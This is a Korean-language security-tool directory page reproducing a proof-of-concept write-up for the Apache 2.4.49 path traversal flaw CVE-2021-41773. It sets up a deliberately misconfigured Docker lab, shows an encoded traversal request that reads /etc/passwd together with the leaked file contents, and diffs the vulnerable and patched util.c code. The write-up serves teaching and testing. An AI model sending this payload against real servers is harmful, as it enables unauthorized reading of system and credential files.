Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-41773 — Docker 설정 및 상세 취약점 분석과 함께 Apache HTTP Server 경로 탐색 취약점 CVE-2021-41773용 개념 증명 악용 코드입니다. | Kitploit
도구/GitHubGitHub/itsecurityco/cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubitsecurityco/cve-2021-41773

CVE-2021-41773

Docker 설정 및 상세 취약점 분석과 함께 Apache HTTP Server 경로 탐색 취약점 CVE-2021-41773용 개념 증명 악용 코드입니다.

저장소 보기
126133년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-41773

CVE-2021-41773 Docker를 이용한 POC

설정

httpd.conf 파일을 사용자 정의하려면, <Directory /> 섹션의 251 줄을 Require all denied에서 Require all granted로 변경하십시오.

root@kitploit:~
<Directory />
    AllowOverride none
    Require all granted
</Directory>

프로젝트에 Dockerfile 생성

root@kitploit:~
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

그런 다음, Docker 이미지를 빌드하고 실행하기 위해 다음 명령어를 실행합니다:

root@kitploit:~
$ docker build -t apache-pt .
$ docker run -dit --name apache-pt-app -p 81:80 apache-pt

익스플로잇

BurpSuite Repeater를 사용하여 다음 요청을 보냅니다.

root@kitploit:~
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: localhost:81
User-Agent: Mozilla
Connection: close


응답:

root@kitploit:~
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 02:32:09 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

패치 리비전

Apache 2.4.49 (취약한 버전) 및 Apache 2.4.50 (패치된 버전)의 소스 코드는 각각 다음에서 다운로드할 수 있습니다:

  • https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
  • https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz
root@kitploit:~
$ wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
$ wget https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz

취약점은 /server/util.c 파일의 571 라인에서 발견되며, 여기서는 /xx/../ 유형의 페이로드에 대한 검증이 적용되지만 /xx/.%2e/에는 적용되지 않습니다.

취약한 코드와 패치된 코드의 차이는 diff 명령어로 확인할 수 있습니다.

root@kitploit:~
$ diff -u httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
--- httpd-2.4.49/server/util.c	2021-08-21 17:35:04.000000000 -0400
+++ httpd-2.4.50/server/util.c	2021-10-01 08:21:11.000000000 -0300
@@ -502,7 +502,8 @@
 AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
 {
     int ret = 1;
-    apr_size_t l = 1, w = 1;
+    apr_size_t l = 1, w = 1, n;
+    int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
 
     if (!IS_SLASH(path[0])) {
         /* Besides "OPTIONS *", a request-target should start with '/'
@@ -529,7 +530,7 @@
          *  be decoded to their corresponding unreserved characters by
          *  URI normalizers.
          */
-        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
+        if (decode_unreserved
                 && path[l] == '%' && apr_isxdigit(path[l + 1])
                                   && apr_isxdigit(path[l + 2])) {
             const char c = x2c(&path[l + 1]);
@@ -567,8 +568,17 @@
                     continue;
                 }
 
-                /* Remove /xx/../ segments */
-                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
+                /* Remove /xx/../ segments (or /xx/.%2e/ when
+                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
+                 * decoded only the first dot above).
+                 */
+                n = l + 1;
+                if ((path[n] == '.' || (decode_unreserved
+                                        && path[n] == '%'
+                                        && path[++n] == '2'
+                                        && (path[++n] == 'e'
+                                            || path[n] == 'E')))
+                        && IS_SLASH_OR_NUL(path[n + 1])) {
                     /* Wind w back to remove the previous segment */
                     if (w > 1) {
                         do {
@@ -585,7 +595,7 @@
                     }
 
                     /* Move l forward to the next segment */
-                    l += 2;
+                    l = n + 1;
                     if (path[l]) {
                         l++;
                     }
도구 다운로드